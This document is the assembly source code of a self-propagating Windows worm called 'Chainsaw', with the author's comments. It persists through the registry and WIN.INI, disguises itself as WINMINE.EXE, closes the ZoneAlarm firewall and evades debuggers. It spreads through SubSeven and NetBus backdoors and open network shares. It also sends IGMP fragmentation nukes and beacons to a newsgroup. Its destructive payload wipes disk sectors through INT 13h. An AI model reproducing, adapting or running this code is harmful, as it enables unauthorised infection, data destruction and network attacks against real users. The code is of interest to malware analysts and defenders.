RESOURCEUSAGE_CONNECTABLE EQU 00000001h
RESOURCEUSAGE_CONTAINER EQU 00000002h
RESOURCEUSAGE_CONNECTABLE EQU 00000001h
RESOURCETYPE_DISK EQU 00000001h
SOL_SOCKET EQU 0FFFFh
HKEY_CURRENT_USER EQU 80000001h
KEY_QUERY_VALUE EQU 1
KEY_WRITE EQU 00020006h
REG_SZ EQU 00000001h
GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h
FILE_SHARE_READ EQU 00000001h
FILE_ATTRIBUTE_HIDDEN EQU 2
AF_INET EQU 2
IPPROTO_IGMP EQU 2
SOCK_STREAM EQU 1
SOCK_RAW EQU 3
FIONBIO EQU 8004667Eh
WM_QUIT EQU 0012h

S7_Upload_Req DB 'RTFChainsaw.exe'
End_S7_Upload_Req:

S7_Upload_Size DB 'SFT046144'
End_S7_Upload_Size:

S7_Exec_Req DB 'FMXChainsaw.exe'
End_S7_Exec_Req:

NB_Password DB 'Password;1;netbus', 0Dh


End_NB_Password:

NB_Upload_Req DB 'UploadFile;Chainsaw.exe;6144;\', 0Dh


End_NB_Upload_Req:

NB_Exec_File DB 'StartApp;\Chainsaw.exe', 0Dh


End_NB_Exec_File:

Nuke_File DB 'BBQ666.COM', 0

sz_Kernel32 DB 'KERNEL32', 0
sz_RegServProc DB 'RegisterServiceProcess', 0

Win_Ini_Run_Key DB 'run', 0
Windows_Section DB 'windows', 0

Run_Key DB 'Software\Microsoft\Windows\CurrentVersion\Run', 0
ZoneAlarm_Window DB 'ZoneAlarm', 0

Reg_Handle_1 DD 0
Reg_Handle_2 DD 0
sz_Account_Mgr DB 'Software\Microsoft\Internet Account Manager', 0
Account_Key DB 'Software\Microsoft\Internet Account Manager\Accounts\'
Account_Index DB '00000000', 0
sz_Def_News_Acc DB 'Default News Account', 0
sz_NNTP_Server DB 'NNTP Server', 0

Size_Acc_Buffer DD 9
Size_NNTP_Buf DD 128

s_POST DB 'POST', 0Dh, 0Ah


s_QUIT DB 'QUIT', 0Dh, 0Ah

; Header.

News_Message: DB 'From: "Leatherface" <hacked.up.for@bbq.net>', 0Dh, 0Ah


DB 'Subject: CHAINSAWED', 0Dh, 0Ah
DB 'Newsgroups: alt.horror', 0Dh, 0Ah
DB 0Dh, 0Ah

; Body.
DB 'WHO WILL SURVIVE', 0Dh, 0Ah
DB 'AND WHAT WILL BE LEFT OF THEM?', 0Dh, 0Ah

; End-of-data command.

DB '.', 0Dh, 0Ah


End_News_Message:

MsDos_Sys DB 'T:\MSDOS.SYS', 0
Win_Dir_Key DB 'WinDir', 0
Paths_Section DB 'Paths', 0

Slash_Win_Ini DB '\'
Win_Ini DB 'WIN.INI', 0

Remote_Drive DB 'T:', 0
Cover_Name DB '\WINMINE.EXE', 0

Remote_Trojan DB 'T:'
Root_Dropper DB '\Chainsaw.exe', 0
Run_Key_Name DB 'Mines', 0

Boole_False DD 0
Boole_True DD 1

NetBios_Remote DB '\\666.666.666.666', 0

Time_Out: DD 1 ; - Seconds.
DD 500 ; - Milliseconds.

IO_Time_Out DD 5000

Usenet_Conn: DW AF_INET ; connect() structures.


DWBI 119
Usenet_IP DD 0
DB 8 DUP(0)

Nuke_Conn: DW AF_INET
DW 0
Nuke_IP DD 0
DB 8 DUP(0)

Sub7_Conn: DW AF_INET
DWBI 27374
Sub7_IP DD 0
DB 8 DUP(0)

NetBus_Conn: DW AF_INET
DWBI 12345
NetBus_IP DD 0
DB 8 DUP(0)

NetBus_Conn_2: DW AF_INET
DWBI (12345+1)
NetBus_IP_2 DD 0
DB 8 DUP(0)

NetBios_Conn: DW AF_INET
DWBI 139
NetBios_IP DD 0
DB 8 DUP(0)
Win_Dir DB 260 DUP(0)
Default_String DB 0

Own_Path DB 260 DUP(0)

Net_Struc_Count DD 1
Enum_Buf_Size DD 666
Enum_Buffer DB 666 DUP(0)

Net_Resource_Struc:

DD 0
DD 0
DD 0
DD 0
DD 0
DD OFFSET NetBios_Remote
DD 0
DD 0

Net_Resource: DD 0
DD 0
DD 0
Net_Usage DD 0
Net_Local_Name DD 0
Net_Remote_Name DD 0
DD 0
DD 0

Select_Struc:
Sock_Count DD 3
Sub7_Socket DD 0
NetBus_Socket DD 0
NetBios_Socket DD 0

IGMP_Socket DD 0
News_Socket DD 0
NetBus_Socket_2 DD 0

Connect_Select: DD 4 DUP(0)

IGMP_Nuke DB 15000 DUP(0)

Temp DD 0
Random_Init DD 0

Enum_Handle DD 0

Size_Cover_Path DD 0

System_Time DW 8 DUP(0)

Worm_Code DB Worm_Size DUP(0)


WSA_Data DB 400 DUP(0)
System_Dir DB 260 DUP(0)
NNTP_Server DB 128 DUP(0)
Buffer DB 512 DUP(0)

.CODE

DB '[-T2IR-]', 0
START:
PUSH SEM_NOGPFAULTERRORBOX ; On error just bail out
CALL SetErrorMode ; without displaying shit.

PUSH 0 ; Fake a dispatch to get the


PUSH 0 ; hourglass cursor to
PUSH 0 ; disappear.
PUSH 0
PUSH 0
CALL PeekMessageA

; Get offset of CreateFileA in the jump table.

MOV ESI, DWORD PTR CreateFileA+2


LODSD

; Soft-Ice's BPX command works with 0CCh breakpoints


; to hook API's, so here we simply check if a common
; API has been hooked and kill the system if true.
; For a virus it's better to check every fetched API
; for a debugger hook.

CMP BYTE PTR [ESI], 0CCh ; Debugger has a hook on it?


JE Payload

CALL GetTickCount

MOV Random_Init, EAX

PUSH 260 ; Get the path to ourself.


PUSH OFFSET Own_Path
PUSH 0
CALL GetModuleFileNameA

MOV EDI, OFFSET System_Dir

PUSH 260 ; Get the System directory.


PUSH EDI
CALL GetSystemDirectoryA

MOV ESI, OFFSET Cover_Name


ADD EDI, EAX

MOVSD ; Append our cover name


MOVSD ; \WINMINE.EXE to it.
MOVSD
MOVSB

SUB EDI, OFFSET System_Dir ; Save size of path.


MOV Size_Cover_Path, EDI

PUSH 1 ; Copy us to the system


PUSH OFFSET System_Dir ; directory under the cover
PUSH OFFSET Own_Path ; name.
CALL CopyFileA

XCHG ECX, EAX ; Virus is already installed?


JECXZ Check_Trigger

PUSH 1 ; Copy root dropper to root


PUSH OFFSET Root_Dropper ; to indicate this is the 1st
PUSH OFFSET Own_Path ; run of the worm.
CALL CopyFileA

PUSH FILE_ATTRIBUTE_HIDDEN ; Hide it.


PUSH OFFSET Root_Dropper
CALL SetFileAttributesA

PUSH OFFSET Reg_Handle_1 ; Open up a handle to the


PUSH KEY_WRITE ; registry Run key.
PUSH 0
PUSH OFFSET Run_Key
PUSH HKEY_CURRENT_USER
CALL RegOpenKeyExA

PUSH Size_Cover_Path ; Make the cover file run


PUSH OFFSET System_Dir ; every bootup.
PUSH REG_SZ
PUSH 0
PUSH OFFSET Run_Key_Name
PUSH Reg_Handle_1
CALL RegSetValueExA

PUSH Reg_Handle_1 ; Close registry key.


CALL RegCloseKey

PUSH OFFSET Win_Ini ; Remove temporary reference


PUSH 0 ; to virus dropper in
PUSH OFFSET Win_Ini_Run_Key ; WIN.INI.
PUSH OFFSET Windows_Section
CALL WritePrivateProfileStringA

Exit: PUSH 0
CALL ExitProcess

Check_Trigger: MOV EAX, 666 ; 1/666 chance of activating.


CALL Random_EAX

DEC EAX ; Today is trashday?


JZ Payload

PUSH 0 ; Open ourselves.


PUSH 0
PUSH OPEN_EXISTING
PUSH 0
PUSH FILE_SHARE_READ
PUSH GENERIC_READ
PUSH OFFSET Own_Path
CALL CreateFileA

MOV EBX, EAX

INC EAX
JZ Exit

PUSH 0 ; Read in ourselves.


PUSH OFFSET Temp
PUSH Worm_Size+1
PUSH OFFSET Worm_Code
PUSH EBX
CALL ReadFile

CMP Temp, Worm_Size ; Wormsize has changed?


JNE Payload ; Then we're likely
; incomplete or infected
; with a virus.

PUSH EBX ; Close ourselves again.


CALL CloseHandle

PUSH OFFSET sz_Kernel32 ; Get base of KERNEL32.DLL.


CALL GetModuleHandleA

PUSH OFFSET sz_RegServProc ; Get RegisterServiceProcess.


PUSH EAX
CALL GetProcAddress

XCHG ECX, EAX


JECXZ Init_Winsock

PUSH 1 ; Register our process as a


PUSH 0 ; hidden service.
CALL ECX

Init_Winsock: PUSH OFFSET WSA_Data ; Initialize winsock.


PUSH 0202h
CALL WSAStartup

OR EAX, EAX ; Error?


JNZ Exit

Chk_Inet_State: PUSH 0 ; We're connected to the


PUSH OFFSET Temp ; Internet?
CALL InternetGetConnectedState

DEC EAX ; Else just loop and check


JNZ Chk_Inet_State ; again until we are.

; Here we close the ZoneAlarm firewall if it is


; found active, reason being that A) it will pop-up
; a warning box whenever a program (ie. our worm)
; is attempting to access the Internet, (this is how
; many RAT trojans get caught these days) and B) it
; is likely to block our ports.

PUSH OFFSET ZoneAlarm_Window ; Attempt to locate the


PUSH 0 ; ZoneAlarm window.
CALL FindWindowA

XCHG ECX, EAX


JECXZ Check_1st_Run

PUSH 0 ; Tell ZoneAlarm to quit.


PUSH 0
PUSH WM_QUIT
PUSH ECX
CALL PostMessageA

Check_1st_Run: PUSH OFFSET Root_Dropper ; Can we delete the root


CALL DeleteFileA ; dropper?

XCHG ECX, EAX


JECXZ Do_Random_IP

; This is the first Internet run of the worm, so


; send a usenet message to alt.horror to note
; our presence. Better to just use a public
; dump place instead of e-mail for example, this
; way they can't track you or kill the account.

PUSH OFFSET Reg_Handle_1 ; Open a handle to Internet


PUSH KEY_QUERY_VALUE ; Account Manager.
PUSH 0
PUSH OFFSET sz_Account_Mgr
PUSH HKEY_CURRENT_USER
CALL RegOpenKeyExA

OR EAX, EAX
JNZ Do_Random_IP

PUSH OFFSET Size_Acc_Buffer ; Get default news account.


PUSH OFFSET Account_Index
PUSH 0
PUSH 0
PUSH OFFSET sz_Def_News_Acc
PUSH Reg_Handle_1
CALL RegQueryValueExA

OR EAX, EAX
JNZ Close_Reg_1

PUSH OFFSET Reg_Handle_2 ; Open the default news


PUSH KEY_QUERY_VALUE ; account.
PUSH 0
PUSH OFFSET Account_Key
PUSH HKEY_CURRENT_USER
CALL RegOpenKeyExA

OR EAX, EAX
JNZ Close_Reg_1

PUSH OFFSET Size_NNTP_Buf ; Get it's NNTP server.


PUSH OFFSET NNTP_Server
PUSH 0
PUSH 0
PUSH OFFSET sz_NNTP_Server
PUSH Reg_Handle_2
CALL RegQueryValueExA

OR EAX, EAX
JNZ Close_Reg_2

PUSH OFFSET NNTP_Server ; Convert the DNS-name to


CALL gethostbyname ; an IP-address.

XCHG ECX, EAX


JECXZ Close_Reg_2

MOV ESI, [ECX+12] ; Fetch IP-address.


LODSD
PUSH DWORD PTR [EAX]
POP Usenet_IP

PUSH 0
PUSH SOCK_STREAM
PUSH AF_INET
CALL socket

MOV News_Socket, EAX

INC EAX ; Error?


JZ Close_Reg_2

MOV EBX, News_Socket


CALL Set_Time_Outs

PUSH 16
PUSH OFFSET Usenet_Conn
PUSH News_Socket
CALL connect

INC EAX
JZ Close_Reg_2

MOV EDI, OFFSET Buffer

PUSH 0 ; Receive data from the


PUSH 512 ; socket.
PUSH EDI
PUSH News_Socket
CALL recv

INC EAX
JZ Close_News

CMP BYTE PTR [EDI], '2'


JNE Send_QUIT

PUSH 0
PUSH 6
PUSH OFFSET s_POST
PUSH News_Socket
CALL send

INC EAX
JZ Close_News

PUSH 0 ; Receive data from the


PUSH 512 ; socket.
PUSH EDI
PUSH News_Socket
CALL recv

INC EAX
JZ Close_News

CMP BYTE PTR [EDI], '3'


JNE Send_QUIT

PUSH 0
PUSH (End_News_Message-News_Message)
PUSH OFFSET News_Message
PUSH News_Socket
CALL send

INC EAX
JZ Close_News

PUSH 0 ; Receive data from the


PUSH 512 ; socket.
PUSH EDI
PUSH News_Socket
CALL recv

INC EAX
JZ Close_News
Send_QUIT: PUSH 0
PUSH 6
PUSH OFFSET s_QUIT
PUSH News_Socket
CALL send

INC EAX
JZ Close_News

PUSH 0 ; Receive data from the


PUSH 512 ; socket.
PUSH EDI
PUSH News_Socket
CALL recv

Close_News: PUSH News_Socket


CALL closesocket

Close_Reg_2: PUSH Reg_Handle_2


CALL RegCloseKey

Close_Reg_1: PUSH Reg_Handle_1


CALL RegCloseKey

Do_Random_IP: CALL Random_AL_254 ; Get random octet (1-254).

XCHG EBX, EAX

CALL Random_AL_254 ; Another one.

SHL EBX, 8
MOV BL, AL

CALL Random_AL_254 ; And another one.

SHL EBX, 8
MOV BL, AL

Rand_A_Class: MOV AL, 223 ; Random A/B/C class IP.


CALL Random_AL

CMP AL, 10 ; Private network segment.


JE Rand_A_Class

CMP AL, 127 ; Localhost network.


JE Rand_A_Class

SHL EBX, 8
MOV BL, AL

MOV Nuke_IP, EBX


MOV Sub7_IP, EBX ; Store the random IP in our
MOV NetBus_IP, EBX ; structures.
MOV NetBus_IP_2, EBX
MOV NetBios_IP, EBX

PUSH OFFSET System_Time ; Get system date.


CALL GetSystemTime

CMP System_Time+(3*2), 31 ; Is today nuke day?


JNE IP_To_ASCIIZ

PUSH IPPROTO_IGMP ; Create a raw IGMP socket.


PUSH SOCK_RAW
PUSH AF_INET
CALL socket

MOV IGMP_Socket, EAX

INC EAX
JZ Do_Random_IP

MOV EDI, 10 ; Send 10 nuke packets.

; Windows 95/98 has problems with handling fragmented IGMP


; packets, when processing a whole bunch of these the system
; will usually BSOD. Here we simply send a large packet (the
; packet will arrive regardless of content it seems), which
; will automatically be fragmented by the underlying TCP/IP
; layers. Officially IGMP packets aren't supposed to leave
; the current subnet, so if your ISP uses filtering (mainly
; cable/ADSL connections), this nuke won't get through,
; however SLIP/PPP connections (mainly dialups), seem to have
; no problems delivering it.

Send_Nuke: PUSH 16 ; Send the nuke.


PUSH OFFSET Nuke_Conn
PUSH 0
PUSH 15000
PUSH OFFSET IGMP_Nuke
PUSH IGMP_Socket
CALL sendto

DEC EDI ; Send all 10 packets.


JNZ Send_Nuke

Exit_Nuke: PUSH IGMP_Socket


CALL closesocket

JMP Do_Random_IP

IP_To_ASCIIZ: PUSH EBX ; Convert DWORD to ASCIIZ


CALL inet_ntoa ; for the NetBios API's.

XCHG ESI, EAX


MOV EDI, OFFSET NetBios_Remote+2

; Copy the ASCIIZ IP to our own buffer.

Copy_ASCIIZ_IP: LODSB
STOSB

OR AL, AL ; Did entire ASCIIZ string?


JNZ Copy_ASCIIZ_IP

PUSH 0 ; Create sockets.


PUSH SOCK_STREAM
PUSH AF_INET
CALL socket

MOV Sub7_Socket, EAX

INC EAX
JZ Chk_Inet_State

PUSH 0
PUSH SOCK_STREAM
PUSH AF_INET
CALL socket

MOV NetBus_Socket, EAX

INC EAX
JZ Close_Sub7

PUSH 0
PUSH SOCK_STREAM
PUSH AF_INET
CALL socket

MOV NetBios_Socket, EAX

INC EAX
JZ Close_NetBus

; The standard connect() timeout interval is like 100 seconds


; or so, obviously this is way to long for portscanning, so we
; need to set our own timeout interval. Unfortunately Winsock
; does not have any API that can set a connect() timeout interval
; (neither does BSD Sockets btw). Kind of stupid, but anyways,
; here we realize our own timeout function by first switching
; the connect() sockets to non-blocking mode, and then running
; select() on em with a 1500ms timeout to see if they are connected.

PUSH OFFSET Boole_True ; Set socket to non-blocking


PUSH FIONBIO ; mode.
PUSH Sub7_Socket
CALL ioctlsocket

PUSH OFFSET Boole_True


PUSH FIONBIO
PUSH NetBus_Socket
CALL ioctlsocket

PUSH OFFSET Boole_True


PUSH FIONBIO
PUSH NetBios_Socket
CALL ioctlsocket

PUSH 16 ; Connect SubSeven port.


PUSH OFFSET Sub7_Conn
PUSH Sub7_Socket
CALL connect

PUSH 16 ; Connect NetBus port.


PUSH OFFSET NetBus_Conn
PUSH NetBus_Socket
CALL connect

PUSH 16 ; Connect NetBios port.


PUSH OFFSET NetBios_Conn ; (only to quickly probe the
PUSH NetBios_Socket ; host for NetBios).
CALL connect

MOV ESI, OFFSET Select_Struc


MOV EDI, OFFSET Connect_Select

MOVSD
MOVSD
MOVSD
MOVSD

PUSH OFFSET Time_Out ; Check if any sockets are


PUSH 0 ; writeable (connected)
PUSH OFFSET Connect_Select ; within 1500ms.
PUSH 0
PUSH 0
CALL select

INC EAX ; Error?


JZ Close_NetBios

DEC EAX ; Zero sockets connected?


JZ Close_NetBios

PUSH OFFSET Boole_False ; Switch sockets back to


PUSH FIONBIO ; blocking mode.
PUSH Sub7_Socket
CALL ioctlsocket

PUSH OFFSET Boole_False


PUSH FIONBIO
PUSH NetBus_Socket
CALL ioctlsocket

MOV EBX, Sub7_Socket ; Set send/recv timeout on


CALL Set_Time_Outs ; sockets to prevent endless
; blocking.
MOV EBX, NetBus_Socket
CALL Set_Time_Outs

MOV EDI, OFFSET Buffer ; recv-buffer.

Try_Sub7: PUSH 0 ; Attempt to get SubSeven


PUSH 512 ; connection reply.
PUSH EDI
PUSH Sub7_Socket
CALL recv

INC EAX ; Not connected?


JZ Try_NetBus

; If it's a SubSeven server, and not password


; protected, it should reply with 'connected',
; and the time/date and version.

CMP [EDI], 'nnoc' ; If we can't access the Sub7


JNE Try_NetBus ; server, move on to NetBus.

; First request a file upload by sending


; 'RTF' with the upload path connected to
; it: 'RTFChainsaw.exe'.

PUSH 0
PUSH (End_S7_Upload_Req-S7_Upload_Req)
PUSH OFFSET S7_Upload_Req
PUSH Sub7_Socket
CALL send

INC EAX
JZ Try_NetBus
PUSH 0 ; Fetch the reply, it should
PUSH 512 ; be 'TID' if all is OK.
PUSH EDI
PUSH Sub7_Socket
CALL recv

INC EAX
JZ Try_NetBus

CMP [EDI], 'nDIT' ; Check for 'TID' (plus last


JNE Try_NetBus ; byte of previous recv).

; First let the server know the filesize of the


; upload, this is done by sending a 'SFT' + the
; length of the filesize (represented by two
; numbers) + the actual filesize: 'SFT046144'.

PUSH 0
PUSH (End_S7_Upload_Size-S7_Upload_Size)
PUSH OFFSET S7_Upload_Size
PUSH Sub7_Socket
CALL send

INC EAX
JZ Try_NetBus

PUSH 0 ; Then send the actual file


PUSH Worm_Size ; contents.
PUSH OFFSET Worm_Code
PUSH Sub7_Socket
CALL send

INC EAX
JZ Try_NetBus

; SubSeven works with a 1041-byte receive buffer, every


; 1041 or less bytes received will be acknowledged with
; a 'p:' + the total amount of bytes received + '.'.

Retrieve_Ack: PUSH 0 ; Receive a 7-byte 'p:xxxx.'


PUSH 7 ; (don't read more than 7
PUSH EDI ; bytes as often the data is
PUSH Sub7_Socket ; overlapping).
CALL recv

INC EAX
JZ Try_NetBus

CMP [EDI+2], '4416' ; Last acknowledgement?


JNE Retrieve_Ack ; Otherwise just go on.

; Check upload reply, which should be 'file successfully uploaded.'


; if all went fine, (however it seems to return this regardless of
; success or failure..).

Check_UL_Reply: PUSH 0
PUSH 512
PUSH EDI
PUSH Sub7_Socket
CALL recv

INC EAX
JZ Try_NetBus
CMP [EDI+5], 'ccus' ; Check for 'success'.
JNE Try_NetBus ; Bail on error.

; Now remotely execute the uploaded worm copy by sending a


; 'FMX' + the path of the file to execute: 'FMXChainsaw.exe'.
; SubSeven uses ShellExecuteA to run files, so it is capable
; of opening any registered file extension such as .VBS etc.

PUSH 0
PUSH (End_S7_Exec_Req-S7_Exec_Req)
PUSH OFFSET S7_Exec_Req
PUSH Sub7_Socket
CALL send

INC EAX
JZ Try_NetBus

PUSH 0 ; Fetch the command reply,


PUSH 512 ; which should be
PUSH EDI ; 'file has been executed.'.
PUSH Sub7_Socket
CALL recv

Try_NetBus: PUSH 0 ; Fetch connection reply.


PUSH 512
PUSH EDI
PUSH NetBus_Socket
CALL recv

INC EAX
JZ Try_NetBios

; NetBus servers respond with 'NetBus', and


; the version, and if the server is password
; protected also with an 'x'.

CMP [EDI], 'BteN' ; Is it an actual NetBus


JNE Try_NetBios ; server?

; Server is password protected?

CMP BYTE PTR [EDI+EAX-3], 'x'


JNE Upload_Worm

; Now try one password, 'netbus' (should be commonly used


; I guess), together with a NetBus 1.60- backdoor function
; that accepts any password.

PUSH 0
PUSH (End_NB_Password-NB_Password)
PUSH OFFSET NB_Password
PUSH NetBus_Socket
CALL send

INC EAX
JZ Try_NetBios

PUSH 0 ; Get password reply.


PUSH 512
PUSH EDI
PUSH NetBus_Socket
CALL recv
INC EAX
JZ Try_NetBios

; If the password got accepted then it


; should return 'Access;1'.

CMP [EDI+4], '1;ss' ; 'Access;1' ?


JNE Try_NetBios

; Request a file upload by sending 'UploadFile;'


; + filename + ';' + filesize + ';' + upload path:
; 'UploadFile;Chainsaw.exe;6144;\'.

Upload_Worm: PUSH 0
PUSH (End_NB_Upload_Req-NB_Upload_Req)
PUSH OFFSET NB_Upload_Req
PUSH NetBus_Socket
CALL send

INC EAX
JZ Try_NetBios

PUSH 0 ; Fetch upload reply which


PUSH 512 ; should be 'UploadReady'.
PUSH EDI
PUSH NetBus_Socket
CALL recv

INC EAX
JZ Try_NetBios

CMP [EDI+4], 'eRda' ; 'UploadReady' ?


JNE Try_NetBios

; Now connect to port number <NetBus_Port+1>,


; which will handle the upload file content.

PUSH 0 ; Create a socket for the


PUSH SOCK_STREAM ; upload connection.
PUSH AF_INET
CALL socket

MOV NetBus_Socket_2, EAX

INC EAX
JZ Try_NetBios

MOV EBX, NetBus_Socket_2


CALL Set_Time_Outs

PUSH 16 ; Connect the upload socket.


PUSH OFFSET NetBus_Conn_2
PUSH NetBus_Socket_2
CALL connect

XCHG EBX, EAX

OR EBX, EBX
JNZ Close_NetBus_2

PUSH 0 ; Send through the upload


PUSH Worm_Size ; file contents.
PUSH OFFSET Worm_Code
PUSH NetBus_Socket_2
CALL send

XCHG EBX, EAX

Close_NetBus_2: PUSH NetBus_Socket_2


CALL closesocket

INC EBX
JZ Close_NetBios

; Now remotely execute the worm on the target's


; system by sending 'StartApp;' + path to program:
; 'StartApp;\Chainsaw.exe'.

PUSH 0
PUSH (End_NB_Exec_File-NB_Exec_File)
PUSH OFFSET NB_Exec_File
PUSH NetBus_Socket
CALL send

Try_NetBios: MOV ESI, OFFSET Net_Resource_Struc


MOV EDI, OFFSET Net_Resource

MOV ECX, 8
REP MOVSD

CALL Locate_Shares ; Infect all shared drives.

Close_NetBios: PUSH NetBios_Socket


CALL closesocket

Close_NetBus: PUSH NetBus_Socket


CALL closesocket

Close_Sub7: PUSH Sub7_Socket


CALL closesocket

JMP Chk_Inet_State

; Set the recv/send timeout to 5 seconds to prevent endless blocking.


Set_Time_Outs:
PUSH 4
PUSH OFFSET IO_Time_Out
PUSH SO_RCVTIMEO
PUSH SOL_SOCKET
PUSH EBX
CALL setsockopt

PUSH 4
PUSH OFFSET IO_Time_Out
PUSH SO_SNDTIMEO
PUSH SOL_SOCKET
PUSH EBX
CALL setsockopt

RETN

Random_AL_254:
MOV AL, 254
Random_AL: MOVZX EAX, AL

Random_EAX: PUSH EAX

CALL GetTickCount

ADD EAX, Random_Init


JNP Xor_In_Init

RCL EAX, 2
XCHG AL, AH
ADD AL, 66h

Xor_In_Init: NOT EAX

PUSH 32
POP ECX

CRC_Bit: SHR EAX, 1


JNC Loop_CRC_Bit

XOR EAX, 0EDB88320h

Loop_CRC_Bit: LOOP CRC_Bit

POP ECX

XOR EDX, EDX


DIV ECX

XCHG EDX, EAX


INC EAX ; Can't be zero.

ROL Random_Init, 1 ; Adjust random seed.

RETN

; And I thought NetBus was a lame buggy piece of shit, nothing beats
; SubSeven, even though it's the one of the most advanched RAT's
; available these days, it is programmed pretty badly, the author
; clearly has no understanding of TCP/IP whatsoever, he doesn't
; even terminate his TCP commands with a terminator for example,
; which will lead to fragmented packets fucking up. Also, when you
; supply wrong commands to the server, it will downright hang itself.
; And as a bonus, SubSeven infected systems become slooow, not sure
; exactly why.. I'd say, leave writing RAT's to people who know
; their stuff, like the authors of Back Orifice 2000.

; Recursively scans the host's resources for shared drives.


Locate_Shares:
PUSHAD

PUSH OFFSET Enum_Handle ; Start enumerating all


PUSH OFFSET Net_Resource ; shared drives.
PUSH 0
PUSH RESOURCETYPE_DISK
PUSH RESOURCE_GLOBALNET
CALL WNetOpenEnumA

OR EAX, EAX
JNZ Exit_Loc_Share

MOV EBX, Enum_Handle

Enum_Resource: MOV Net_Struc_Count, 1

PUSH OFFSET Enum_Buf_Size ; Find shared drive.


PUSH OFFSET Net_Resource
PUSH OFFSET Net_Struc_Count
PUSH EBX
CALL WNetEnumResourceA

OR EAX, EAX
JNZ Close_Enum

CMP Net_Usage, RESOURCEUSAGE_CONTAINER


JNE Infect_Share

CALL Locate_Shares

JMP Enum_Resource

Infect_Share: MOV Net_Local_Name, OFFSET Remote_Drive

PUSH 0 ; Map the shared drive to


PUSH 0 ; 'T:'.
PUSH 0
PUSH OFFSET Net_Resource
CALL WNetAddConnection2A

OR EAX, EAX
JNZ Enum_Resource

PUSH 1 ; Copy Chainsaw.exe to the


PUSH OFFSET Remote_Trojan ; root of this shared drive.
PUSH OFFSET Own_Path
CALL CopyFileA

XCHG ECX, EAX


JECXZ Un_Map_Share

PUSH OFFSET MsDos_Sys ; Attempt to get the Win9x


PUSH 260 ; directory.
PUSH OFFSET Win_Dir
PUSH OFFSET Default_String
PUSH OFFSET Win_Dir_Key
PUSH OFFSET Paths_Section
CALL GetPrivateProfileStringA

XCHG ECX, EAX


JECXZ Un_Map_Share

LEA EDI, [Win_Dir+ECX] ; Append '\WIN.INI' to it.


MOV ESI, OFFSET Slash_Win_Ini
MOV ECX, 9
REP MOVSB

PUSH OFFSET Win_Dir ; Add 'run=\Chainsaw.exe' to


PUSH OFFSET Root_Dropper ; Win9x's WIN.INI.
PUSH OFFSET Win_Ini_Run_Key
PUSH OFFSET Windows_Section
CALL WritePrivateProfileStringA
XCHG ECX, EAX
JECXZ Un_Map_Share

PUSH FILE_ATTRIBUTE_HIDDEN ; Hide the drop file.


PUSH OFFSET Remote_Trojan
CALL SetFileAttributesA

Un_Map_Share: PUSH 0 ; Unmap shared drive.


PUSH 0
PUSH OFFSET Remote_Drive
CALL WNetCancelConnection2A

JMP Enum_Resource

Close_Enum: PUSH EBX


CALL WNetCloseEnum

Exit_Loc_Share: POPAD

RETN

; Ima go woop yo ass boy!


Payload:
PUSH 0
PUSH 0
PUSH CREATE_ALWAYS
PUSH 0
PUSH 0
PUSH GENERIC_WRITE
PUSH OFFSET Nuke_File
CALL CreateFileA

XCHG EBX, EAX

PUSH 0 ; Write bomb.


PUSH OFFSET Temp
PUSH 666
PUSH OFFSET DOS_Bomb
PUSH EBX
CALL WriteFile

PUSH EBX
CALL CloseHandle

PUSH 0 ; Run the bomb (only WinExec


PUSH OFFSET Nuke_File ; is capable of running DOS
CALL WinExec ; files too).

JMP $ ; Heart stops..

; Bomb in DOS COM-format, this way it works both on 95/98 and NT/2K.
; Smashes disk structures of 1st 2 fixed disks, should be fast and
; unrecoverable.

; .MODEL TINY
; .CODE
;
; ORG 100h
;START:
; MOV AX, 3513h ; Grab INT 13h's address.
; INT 21h
;
; MOV Int13h, BX ; Store it for later.
; MOV Int13h+2, ES
;
; PUSH CS
; POP ES
;
; XOR SI, SI
;
; MOV BX, OFFSET Trash_Text
; MOV CX, (End_Trash_Text-Trash_Text)
;
; ; Decrypt trash text.
;
;Decrypt_Text: XOR BYTE PTR [BX+SI], 66h
;
; INC SI
;
; LOOP Decrypt_Text
;
; INC CX ; CX = 0001h.
;
; MOV DX, 80h+1 ; Start trashing backwards
; ; from 2nd HDD.
;
;Kill_Head: MOV AX, 0302h ; Smash 2 sectors of track
; PUSHF ; 0 with our text.
; DB 9Ah
;Int13h DW 0, 0
;
; INC DH ; Smashed all heads?
; JNZ Kill_Head
;
; DEC DL ; Smashed all HDD's ?
; JS Kill_Head
;
;Exit: RETN ; Back to Windoze..
;
; DB 'T2' ; To pad this file to 666.
;
; ; XOR 66h encrypted:
;
; ; "THE FILM WHICH YOU ARE ABOUT TO SEE IS AN ACCOUNT OF THE
; ; TRAGEDY WHICH BEFELL A GROUP OF FIVE YOUTHS. IN PARTICULAR
; ; SALLY HARDESTY AND HER INVALID BROTHER FRANKLIN. IT IS ALL
; ; THE MORE TRAGIC IN THAT THEY WERE YOUNG. BUT, HAD THEY
; ; LIVED VERY, VERY LONG LIVES, THEY COULD NOT HAVE EXPECTED
; ; NOR WOULD THEY HAVE WISHED TO SEE AS MUCH OF THE MAD AND
; ; MACABRE AS THEY WERE TO SEE THAT DAY. FOR THEM AN IDYLLIC
; ; SUMMER AFTERNOON DRIVE BECAME A NIGHTMARE. THE EVENTS OF
; ; THAT DAY WERE TO LEAD TO THE DISCOVERY OF ONE OF THE MOST
; ; BIZARRE CRIMES IN THE ANNALS OF AMERICAN HISTORY,
; ; THE TEXAS CHAIN SAW MASSACRE..."
;
; ; (I adore this movie :)
;
;Trash_Text: DB 44h, 32h, 2Eh, 23h, 46h, 20h, 2Fh, 2Ah, 2Bh, 46h
; DB 31h, 2Eh, 2Fh, 25h, 2Eh, 46h, 3Fh, 29h, 33h, 46h
; DB 27h, 34h, 23h, 46h, 27h, 24h, 29h, 33h, 32h, 46h
; DB 32h, 29h, 46h, 35h, 23h, 23h, 46h, 2Fh, 35h, 46h
; DB 27h, 28h, 46h, 27h, 25h, 25h, 29h, 33h, 28h, 32h
; DB 46h, 29h, 20h, 46h, 32h, 2Eh, 23h, 6Bh, 6Ch, 32h
; DB 34h, 27h, 21h, 23h, 22h, 3Fh, 46h, 31h, 2Eh, 2Fh
; DB 25h, 2Eh, 46h, 24h, 23h, 20h, 23h, 2Ah, 2Ah, 46h
; DB 27h, 46h, 21h, 34h, 29h, 33h, 36h, 46h, 29h, 20h
; DB 46h, 20h, 2Fh, 30h, 23h, 46h, 3Fh, 29h, 33h, 32h
; DB 2Eh, 35h, 48h, 46h, 2Fh, 28h, 46h, 36h, 27h, 34h
; DB 32h, 2Fh, 25h, 33h, 2Ah, 27h, 34h, 6Bh, 6Ch, 35h
